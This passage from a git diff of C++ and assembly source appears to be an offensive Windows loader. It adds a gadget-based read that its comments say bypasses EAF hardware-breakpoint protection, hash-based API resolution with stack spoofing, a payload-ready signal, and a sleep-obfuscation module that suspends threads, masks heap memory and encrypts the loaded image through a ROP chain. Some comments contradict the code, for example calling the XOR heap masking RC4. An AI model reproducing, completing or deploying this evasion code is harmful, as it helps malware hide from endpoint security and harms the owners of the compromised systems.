(DWORD)ShieldedRead((ULONG_PTR)&ExportDirectory->AddressOfFunctions, (ULONG_PTR)Gadget)); + auto AddressOfNames = (PDWORD)(BaseAddress + (DWORD)ShieldedRead((ULONG_PTR)&ExportDirectory->AddressOfNames, (ULONG_PTR)Gadget)); + auto AddressOfOrdinals = (PWORD)(BaseAddress + (DWORD)ShieldedRead((ULONG_PTR)&ExportDirectory->AddressOfNameOrdinals, (ULONG_PTR)Gadget)); + auto NumberOfNames = (DWORD)ShieldedRead((ULONG_PTR)&ExportDirectory->NumberOfNames, (ULONG_PTR)Gadget); + + for (DWORD i = 0; i < NumberOfNames; i++) { + + DWORD NameRva = (DWORD)ShieldedRead((ULONG_PTR)&AddressOfNames[i], (ULONG_PTR)Gadget); + PCHAR FunctionName = (PCHAR)(BaseAddress + NameRva); - /* Check if hashes match */ if (Hash::ExprHashStrDjb2(FunctionName) == uFunctionHash) { - /* Handle forwarded functions */ - ULONG_PTR FunctionAddress = (ULONG_PTR)FunctionVA; - ULONG_PTR ExportBeginning = (ULONG_PTR)ExportDirectory; - ULONG_PTR ExportEnd = ExportBeginning + ExportSize; + WORD Ordinal = (WORD)ShieldedRead((ULONG_PTR)&AddressOfOrdinals[i], (ULONG_PTR)Gadget); + DWORD FuncRva = (DWORD)ShieldedRead((ULONG_PTR)&AddressOfFunctions[Ordinal], (ULONG_PTR)Gadget); + PVOID FunctionVA = (PVOID)(BaseAddress + FuncRva); + + ULONG_PTR FunctionAddress = (ULONG_PTR)FunctionVA; + ULONG_PTR ExportBeginning = (ULONG_PTR)ExportDirectory; + ULONG_PTR ExportEnd = ExportBeginning + ExportSize; if (FunctionAddress >= ExportBeginning && FunctionAddress < ExportEnd) { #ifdef DEBUG - DBGPRINT("[i] LdrGetSymbolByHash -> [%s] Is A Forwarded Function \n", FunctionName); + DBGPRINT("[i] LdrShieldedSymbolResolveByHash -> [%s] Is A Forwarded Function \n", FunctionName); #endif - CHAR Forwarder[MAX_PATH] = { 0 }; - WCHAR WidePath[MAX_PATH] = { 0 }; - DWORD Offset = 0; - PCHAR PFunctionMod = nullptr; - PCHAR PFunctionName = nullptr; + CHAR Forwarder[MAX_PATH] = { 0 }; + WCHAR WidePath[MAX_PATH] = { 0 }; + DWORD Offset = 0; + PCHAR PFunctionMod = nullptr; + PCHAR PFunctionName = nullptr; Primitive::MemoryCopy(Forwarder, (PVOID)FunctionAddress, Primitive::StringLength((PCHAR)FunctionAddress)); for (DWORD j = 0; j < Primitive::StringLength((PCHAR)Forwarder); j++) { - if (((PCHAR)Forwarder)[j] == '.') { - - Offset = j; - Forwarder[j] = '\0'; + Offset = j; + Forwarder[j] = '\0'; break; } } - PFunctionMod = Forwarder; - PFunctionName = Forwarder + Offset + 1; + PFunctionMod = Forwarder; + PFunctionName = Forwarder + Offset + 1; - /* Convert ansi name to unicode */ Primitive::AnsiToWide(PFunctionMod, WidePath, MAX_PATH); PVOID ForwardedMod = Proxy::WorkItemLoadLibrary(WidePath); - return LdrGetSymbolByHash(ForwardedMod, Hash::ExprHashStrDjb2(PFunctionName)); + return LdrShieldedSymbolResolveByHash(ForwardedMod, Hash::ExprHashStrDjb2(PFunctionName)); } - /* If it's not a forwarded function, return the address directly */ return (FARPROC)FunctionAddress; } } #ifdef DEBUG - DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); + DBGPRINT("[-] LdrShieldedSymbolResolveByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); #endif return nullptr; } diff --git a/src/StackSpoofing.cpp b/src/StackSpoofing.cpp index bf85413..97c95a6 100644 --- a/src/StackSpoofing.cpp +++ b/src/StackSpoofing.cpp @@ -17,7 +17,7 @@ BOOL StackSpoof::FlushFunctionTableCache( OUT PDWORD pdwOld ) { PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); - ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionTable")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionTable")); BYTE Buffer[128] = { 0 }; Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); @@ -66,7 +66,7 @@ BOOL StackSpoof::FlushFunctionEntryCache( OUT PDWORD pdwOld ) { PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); - ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); BYTE Buffer[128] = { 0 }; Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); @@ -428,6 +428,9 @@ ULONG_PTR StackSpoof::ExecuteWithSpoofedStack( typedef ULONG_PTR(*fnShadowGate)(PSHADOWGATE_PARAMS); fnShadowGate pCopiedGate = (fnShadowGate)((ULONG_PTR)pModule + dwGateRva); + if (g_PayloadReady) + g_Win32.Nt.NtSetEvent(g_PayloadReady, nullptr); + ULONG_PTR Result = pCopiedGate(pParams); #ifdef DEBUG diff --git a/src/StackUtils.cpp b/src/StackUtils.cpp index 23570e8..df6ff64 100644 --- a/src/StackUtils.cpp +++ b/src/StackUtils.cpp @@ -17,7 +17,7 @@ ULONG_PTR StackUtils::ResolveThreadStackOrigin( OUT PULONG_PTR puStackPointer ) { /* Find BTIT address */ - PVOID Btit = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")), Hash::ExprHashStrDjb2("BaseThreadInitThunk")); + PVOID Btit = Resolver::LdrShieldedSymbolResolveByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")), Hash::ExprHashStrDjb2("BaseThreadInitThunk")); if (Btit == nullptr) { #ifdef DEBUG DBGPRINT("[-] BTIT Return Address Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); diff --git a/src/Unguard.asm b/src/Unguard.asm new file mode 100644 index 0000000..1d8ebe0 --- /dev/null +++ b/src/Unguard.asm @@ -0,0 +1,25 @@ +; Unguard.asm +.code + +; RCX = Target address to dereference +; RDX = Gadget address (MOV RAX, [RAX]; RET inside a signed module) +; RAX = Dereferenced value +; +; If RDX is NULL, performs a normal read from the current context. +; If RDX is non-NULL, jumps to the gadget so the read occurs +; inside a legitimate module frame — bypassing EAF hardware breakpoints. + +ShieldedRead PROC + test rdx, rdx ; Check if gadget is provided + jz DirectRead + + mov rax, rcx ; RAX = target address + jmp rdx ; Jump to gadget (MOV RAX, [RAX]; RET) + +DirectRead: + mov rax, [rcx] ; Normal dereference + ret + +ShieldedRead ENDP + +END diff --git a/src/Unwind.cpp b/src/Unwind.cpp index 7a81eee..8d244b6 100644 --- a/src/Unwind.cpp +++ b/src/Unwind.cpp @@ -301,7 +301,7 @@ BOOL Unwinder::ResolveDynamicFunctionTablePtrs( SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage; /* Find RtlAddFunctionTable's address */ - ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); if (!FnAddress) return FALSE; @@ -459,14 +459,14 @@ BOOL Unwinder::LocateInvertedFunctionTable( Some Windows builds export this table directly fastest path - if found, no pattern scan needed */ - ULONG_PTR TableAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("KiUserInvertedFunctionTable")); + ULONG_PTR TableAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("KiUserInvertedFunctionTable")); /* Step 2: Read RtlLookupFunctionEntry's machine code This function is called during stack walks internally it calls RtlpxLookupFunctionTable we find that CALL to learn the inner function's address */ - ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); if (!FnAddress) return FALSE; @@ -538,7 +538,7 @@ BOOL Unwinder::LocateInvertedFunctionTable( CALL RtlAcquireSRWLockShared <- Acquire lock */ ULONG_PTR LockAddress = 0; - ULONG_PTR AcquireShared = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockShared")); + ULONG_PTR AcquireShared = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockShared")); for (int i = 5; i < 1019; i++) { @@ -631,7 +631,7 @@ BOOL Unwinder::ResolveLdrMrdataProtector( OUT fnLdrProtectMrdata* pOutFnPtr ) { PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); - ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); BYTE Buffer[512] = { 0 }; Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); @@ -680,8 +680,8 @@ BOOL Unwinder::CollapseInvertedTableEntry( PRTL_SRWLOCK SrwLock = nullptr; PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); - auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); - auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); fnLdrProtectMrdata LdrProtectMrData = nullptr; Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData); @@ -850,8 +850,8 @@ BOOL Unwinder::ExpandInvertedTableEntry( PRTL_SRWLOCK SrwLock = nullptr; PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); - auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); - auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); fnLdrProtectMrdata LdrProtectMrData = nullptr; Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData); diff --git a/src/Zilean.cpp b/src/Zilean.cpp new file mode 100644 index 0000000..d9b6a06 --- /dev/null +++ b/src/Zilean.cpp @@ -0,0 +1,638 @@ +/* Zilean.cpp */ +#include +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "Debug.h" + +/*================================================ +@ XorCipher +# XOR-encrypts or decrypts a memory region in-place +# using a rolling key. Symmetric — call again with +# the same key to reverse the operation +================================================*/ +VOID XorCipher( + _In_ PBYTE pData, + _In_ SIZE_T sSize, + _In_ PBYTE pKey, + _In_ SIZE_T sKeySize +) { + for (SIZE_T i = 0, j = 0; i < sSize; i++, j++) { + + if (j >= sKeySize) + j = 0; + + if (i % 2 == 0) + pData[i] = pData[i] ^ pKey[j]; + else + pData[i] = pData[i] ^ pKey[j] ^ j; + } +} + +/*================================================ +@ Random32 +# Generates a pseudo-random 32-bit value derived +# from KUSER_SHARED_DATA interrupt time fields +================================================*/ +ULONG Random32() { + + UINT32 Seed = 0; + + _rdrand32_step(&Seed); + + return Seed; +} + +/*================================================ +@ SuspendThreads +# Enumerates all threads in the current process +# via NtQuerySystemInformation and suspends every +# thread except the caller +================================================*/ +BOOL SuspendThreads( + _In_ DWORD dwWorkerThreadId +) { + ULONG ReturnLength1 = 0; + ULONG ReturnLength2 = 0; + PSYSTEM_PROCESS_INFORMATION SystemInfo = nullptr; + PVOID TempValue = nullptr; + HANDLE ThreadHandle = nullptr; + NTSTATUS Status = STATUS_SUCCESS; + BOOL Success = FALSE; + DWORD CurrentPid = GetCurrentProcessId(); + DWORD CurrentTid = GetCurrentThreadId(); + + /* Call NtQuerySystemInformation for the first time, which will fail with 'STATUS_INFO_LENGTH_MISMATCH' */ + if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, nullptr, 0, &ReturnLength1)) != STATUS_SUCCESS && Status != STATUS_INFO_LENGTH_MISMATCH) { +#ifdef DEBUG + DBGPRINT("[-] NtQuerySystemInformation Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Allocate buffer of size 'ReturnLength1' */ + SystemInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)ReturnLength1); + if (SystemInfo == nullptr) { +#ifdef DEBUG + DBGPRINT("[-] HeapAlloc Failed With Error -> %d - %s.%d \n", GetLastError(), GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + TempValue = SystemInfo; + + /* Call NtQuerySystemInformation again with correct arguments */ + if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, SystemInfo, ReturnLength1, &ReturnLength2)) != STATUS_SUCCESS) { +#ifdef DEBUG + DBGPRINT("[-] NtQuerySystemInformation[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Iterate through process list */ + while (TRUE) { + + /* Find local process */ + if ((DWORD)SystemInfo->UniqueProcessId == CurrentPid) { + + /* Iterate through thread list */ + for (int i = 0; i < SystemInfo->NumberOfThreads; i++) { + + DWORD ThreadId = (DWORD)SystemInfo->Threads[i].ClientId.UniqueThread; + + /* Skip local & worker thread */ + if (ThreadId == CurrentTid || ThreadId == dwWorkerThreadId) + continue; + + /* Open a handle to thread */ + CLIENT_ID Cid = { + .UniqueProcess = (HANDLE)CurrentPid, + .UniqueThread = (HANDLE)ThreadId + }; + + OBJECT_ATTRIBUTES Oa = { sizeof(OBJECT_ATTRIBUTES) }; + + if (!NT_SUCCESS(Status = g_Win32.Nt.NtOpenThread(&ThreadHandle, THREAD_ALL_ACCESS, &Oa, &Cid))) + continue; + + /* Suspend threads */ + g_Win32.Nt.NtSuspendThread( + ThreadHandle, + nullptr + ); + + Macro::DeleteHandle(ThreadHandle); + } + + break; + } + + /* If NextEntryOffset is 0, that means we've reached the end */ + if (!SystemInfo->NextEntryOffset) + break; + + /* Move to the next entry */ + SystemInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemInfo + SystemInfo->NextEntryOffset); + } + + Success = TRUE; + +Leave: + if (TempValue) { + Macro::DeletePtr(TempValue); + } + + if (ThreadHandle) { + Macro::DeleteHandle(ThreadHandle); + } + + return Success; +} + +/*================================================ +@ ResumeThreads +# Resumes all previously suspended threads by +# reversing the SuspendThreads operation +================================================*/ +BOOL ResumeThreads( + _In_ DWORD dwWorkerThreadId +) { + ULONG ReturnLength1 = 0; + ULONG ReturnLength2 = 0; + PSYSTEM_PROCESS_INFORMATION SystemInfo = nullptr; + PVOID TempValue = nullptr; + HANDLE ThreadHandle = nullptr; + NTSTATUS Status = STATUS_SUCCESS; + BOOL Success = FALSE; + DWORD CurrentPid = GetCurrentProcessId(); + DWORD CurrentTid = GetCurrentThreadId(); + + /* Call NtQuerySystemInformation for the first time, which will fail with 'STATUS_INFO_LENGTH_MISMATCH' */ + if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, nullptr, 0, &ReturnLength1)) != STATUS_SUCCESS && Status != STATUS_INFO_LENGTH_MISMATCH) { +#ifdef DEBUG + DBGPRINT("[-] NtQuerySystemInformation Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Allocate buffer of size 'ReturnLength1' */ + SystemInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)ReturnLength1); + if (SystemInfo == nullptr) { +#ifdef DEBUG + DBGPRINT("[-] HeapAlloc Failed With Error -> %d - %s.%d \n", GetLastError(), GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + TempValue = SystemInfo; + + /* Call NtQuerySystemInformation again with correct arguments */ + if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, SystemInfo, ReturnLength1, &ReturnLength2)) != STATUS_SUCCESS) { +#ifdef DEBUG + DBGPRINT("[-] NtQuerySystemInformation[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Iterate through process list */ + while (TRUE) { + + /* Find local process */ + if ((DWORD)SystemInfo->UniqueProcessId == CurrentPid) { + + /* Iterate through thread list */ + for (int i = 0; i < SystemInfo->NumberOfThreads; i++) { + + DWORD ThreadId = (DWORD)SystemInfo->Threads[i].ClientId.UniqueThread; + + /* Skip local & worker thread */ + if (ThreadId == CurrentTid || ThreadId == dwWorkerThreadId) + continue; + + /* Open a handle to thread */ + CLIENT_ID Cid = { + .UniqueProcess = (HANDLE)CurrentPid, + .UniqueThread = (HANDLE)ThreadId + }; + + OBJECT_ATTRIBUTES Oa = { sizeof(OBJECT_ATTRIBUTES) }; + + if (!NT_SUCCESS(Status = g_Win32.Nt.NtOpenThread(&ThreadHandle, THREAD_ALL_ACCESS, &Oa, &Cid))) + continue; + + /* Resume threads */ + g_Win32.Nt.NtResumeThread( + ThreadHandle, + nullptr + ); + + Macro::DeleteHandle(ThreadHandle); + } + + break; + } + + /* If NextEntryOffset is 0, that means we've reached the end */ + if (!SystemInfo->NextEntryOffset) + break; + + /* Move to the next entry */ + SystemInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemInfo + SystemInfo->NextEntryOffset); + } + + Success = TRUE; + +Leave: + if (TempValue) { + Macro::DeletePtr(TempValue); + } + + if (ThreadHandle) { + Macro::DeleteHandle(ThreadHandle); + } + + return Success; +} + +BOOL GetRandomThreadContext( + OUT PCONTEXT pCtx +) { + ULONG ReturnLength1 = 0; + ULONG ReturnLength2 = 0; + PSYSTEM_PROCESS_INFORMATION SystemInfo = nullptr; + PVOID TempValue = nullptr; + HANDLE ThreadHandle = nullptr; + NTSTATUS Status = STATUS_SUCCESS; + BOOL Success = FALSE; + DWORD CurrentPid = GetCurrentProcessId(); + DWORD CurrentTid = GetCurrentThreadId(); + + /* Call NtQuerySystemInformation for the first time, which will fail with 'STATUS_INFO_LENGTH_MISMATCH' */ + if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, nullptr, 0, &ReturnLength1)) != STATUS_SUCCESS && Status != STATUS_INFO_LENGTH_MISMATCH) { +#ifdef DEBUG + DBGPRINT("[-] NtQuerySystemInformation Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Allocate buffer of size 'ReturnLength1' */ + SystemInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)ReturnLength1); + if (SystemInfo == nullptr) { +#ifdef DEBUG + DBGPRINT("[-] HeapAlloc Failed With Error -> %d - %s.%d \n", GetLastError(), GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + TempValue = SystemInfo; + + /* Call NtQuerySystemInformation again with correct arguments */ + if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, SystemInfo, ReturnLength1, &ReturnLength2)) != STATUS_SUCCESS) { +#ifdef DEBUG + DBGPRINT("[-] NtQuerySystemInformation[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Iterate through process list */ + while (TRUE) { + + /* Find local process */ + if ((DWORD)SystemInfo->UniqueProcessId == CurrentPid) { + + /* Iterate through thread list */ + for (int i = 0; i < SystemInfo->NumberOfThreads; i++) { + + DWORD ThreadId = (DWORD)SystemInfo->Threads[i].ClientId.UniqueThread; + + /* Skip local thread */ + if (ThreadId == CurrentTid) + continue; + + /* Open a handle to thread */ + CLIENT_ID Cid = { + .UniqueProcess = (HANDLE)CurrentPid, + .UniqueThread = (HANDLE)ThreadId + }; + + OBJECT_ATTRIBUTES Oa = {sizeof(OBJECT_ATTRIBUTES)}; + + if (!NT_SUCCESS(Status = g_Win32.Nt.NtOpenThread(&ThreadHandle, THREAD_ALL_ACCESS, &Oa, &Cid))) + continue; + + /* Get the context */ + pCtx->ContextFlags = CONTEXT_ALL; + if (!NT_SUCCESS(Status = g_Win32.Nt.NtGetContextThread(ThreadHandle, pCtx))) { + Macro::DeleteHandle(ThreadHandle); + continue; + } + + break; + } + + break; + } + + /* If NextEntryOffset is 0, that means we've reached the end */ + if (!SystemInfo->NextEntryOffset) + break; + + /* Move to the next entry */ + SystemInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemInfo + SystemInfo->NextEntryOffset); + } + + Success = TRUE; + +Leave: + if (TempValue) { + Macro::DeletePtr(TempValue); + } + + if (ThreadHandle) { + Macro::DeleteHandle(ThreadHandle); + } + + return Success; +} + +/*================================================ +@ MaskHeap +# Walks the process heap via HeapWalk and encrypts +# all busy allocations using SystemFunction032 (RC4) +# Symmetric — call again to decrypt +================================================*/ +struct KEY { + BYTE EncryptionKey[16]; +}; + +VOID MaskHeap( + _In_ KEY& Key, + _In_ DWORD dwWorkerThreadId, + _In_ BOOL bStart +) { + PROCESS_HEAP_ENTRY HeapEntry = { 0 }; + ULONG NumberOfHeaps = { 0 }; + PVOID ProcessHeaps[256] = { 0 }; + + NumberOfHeaps = GetProcessHeaps(0, 0); + if (NumberOfHeaps > 256) + NumberOfHeaps = 256; + + NumberOfHeaps = GetProcessHeaps(NumberOfHeaps, ProcessHeaps); + + if (bStart) { + + for (int i = 0; i < sizeof(Key.EncryptionKey); i++) { + Key.EncryptionKey[i] = Random32(); + } + + if (!SuspendThreads(dwWorkerThreadId)) { + return; + } + } else { + if (!ResumeThreads(dwWorkerThreadId)) { + return; + } + } + + for (int i = 0; i < NumberOfHeaps; ++i) { + + if (ProcessHeaps[i] == GetProcessHeap()) { + continue; + } + + RtlSecureZeroMemory(&HeapEntry, sizeof(PROCESS_HEAP_ENTRY)); + while (g_Win32.K32.HeapWalk(ProcessHeaps[i], &HeapEntry)) { + if (HeapEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY) { + XorCipher((PBYTE)HeapEntry.lpData, HeapEntry.cbData, Key.EncryptionKey, sizeof(Key.EncryptionKey)); + } + } + } +} + + +/*================================================ +@ GetWorkerThreadId +# Retrieves the thread ID of the thread pool worker +# that will execute the ROP chain by queuing a +# lightweight probe work item +================================================*/ +VOID GetWorkerThreadId( + OUT PDWORD pdwThreadId +) { + *pdwThreadId = GetCurrentThreadId(); +} + +/*================================================ +@ MaskImage +# Encrypts the loader's image in memory using a +# ROP chain executed on a worker thread. Chains +# VirtualProtect → SystemFunction040 (encrypt) → +# Sleep → SystemFunction041 (decrypt) → restore +================================================*/ +VOID MaskImage( + _In_ DWORD dwTimeout +) { + CONTEXT Ctx[10] = { 0 }; + CONTEXT CtxInit = { 0 }; + CONTEXT CtxSpoof = { 0 }; + CONTEXT CtxBackup = { 0 }; + HANDLE EventStart = { 0 }; + HANDLE EventWait = { 0 }; + HANDLE EventTimer = { 0 }; + HANDLE EventEnd = { 0 }; + HANDLE Timer = { 0 }; + HANDLE Thread = { 0 }; + DWORD Delay = { 0 }; + DWORD Protect = { 0 }; + DWORD ThreadId = { 0 }; + KEY Key = { 0 }; + NTSTATUS Status = STATUS_SUCCESS; + + /* Get image base & size of image */ + PVOID ImageBase = (PVOID)NtCurrentTeb()->ProcessEnvironmentBlock->ImageBase; + ULONG SizeOfImage = ((PIMAGE_NT_HEADERS)((ULONG_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage; + +#ifdef DEBUG + DBGPRINT("\n[*] Masking the Image \n"); + DBGPRINT("\n[i] Image@ -> [0x%p] \n", ImageBase); + DBGPRINT("\n[i] Size Of Image -> [%ld] Bytes \n", SizeOfImage); +#endif + + /* Create events for starting the rop chain and waiting for it to finish */ + if (!NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventTimer, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE)) || + !NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventStart, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE)) || + !NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventWait, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE)) || + !NT_SUCCESS(Status = g_Win32.Nt.NtCreateEvent(&EventEnd, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE)) + ) { +#ifdef DEBUG + DBGPRINT("[-] NtCreateEvent Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Get a thread context from local process */ + CtxSpoof.ContextFlags = CtxBackup.ContextFlags = CONTEXT_ALL; + if (!GetRandomThreadContext(&CtxSpoof)) { +#ifdef DEBUG + DBGPRINT("[-] Failed To Get Thread Context To Spoof - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Fix race condition */ + if (NT_SUCCESS(Status = g_Win32.Nt.RtlRegisterWait(&Timer, EventWait, (WAITORTIMERCALLBACKFUNC)GetWorkerThreadId, &ThreadId, Delay += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE)) && + NT_SUCCESS(Status = g_Win32.Nt.RtlRegisterWait(&Timer, EventWait, (WAITORTIMERCALLBACKFUNC)g_Win32.Nt.RtlCaptureContext, &CtxInit, Delay += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE)) + ) { + + if (NT_SUCCESS(Status = g_Win32.Nt.RtlRegisterWait(&Timer, EventWait, (WAITORTIMERCALLBACKFUNC)g_Win32.K32.SetEvent, EventTimer, Delay += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE))) + { + if (!NT_SUCCESS(Status = g_Win32.Nt.NtWaitForSingleObject(EventTimer, FALSE, nullptr))) { +#ifdef DEBUG + DBGPRINT("[-] NtWaitForSingleObject Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Create a handle to the local process */ + if (!NT_SUCCESS(Status = g_Win32.Nt.NtDuplicateObject(NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &Thread, THREAD_ALL_ACCESS, 0, 0))) { +#ifdef DEBUG + DBGPRINT("[-] NtDuplicateObject Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + + /* Prepare rop chain */ + for (int i = 0; i < ARRAYSIZE(Ctx); i++) { + Primitive::MemoryCopy(&Ctx[i], &CtxInit, sizeof(CONTEXT)); + Ctx[i].Rsp -= sizeof(PVOID); + } + + /* Start of ropchain */ + Ctx[0].Rip = (ULONG_PTR)(g_Win32.K32.WaitForSingleObjectEx); + Ctx[0].Rcx = (ULONG_PTR)(EventStart); + Ctx[0].Rdx = (ULONG_PTR)(INFINITE); + Ctx[0].R8 = (ULONG_PTR)(FALSE); + + /* Change memory permissions to RW */ + Ctx[1].Rip = (ULONG_PTR)(g_Win32.K32.VirtualProtect); + Ctx[1].Rcx = (ULONG_PTR)(ImageBase); + Ctx[1].Rdx = (ULONG_PTR)(SizeOfImage); + Ctx[1].R8 = (ULONG_PTR)(PAGE_READWRITE); + Ctx[1].R9 = (ULONG_PTR)(&Protect); + + /* Encrypt image base address */ + Ctx[2].Rip = (ULONG_PTR)(g_Win32.CryptBase.SystemFunction040); + Ctx[2].Rcx = (ULONG_PTR)(ImageBase); + Ctx[2].Rdx = (ULONG_PTR)(SizeOfImage); + + /* Get backup of current context */ + Ctx[3].Rip = (ULONG_PTR)(g_Win32.Nt.NtGetContextThread); + 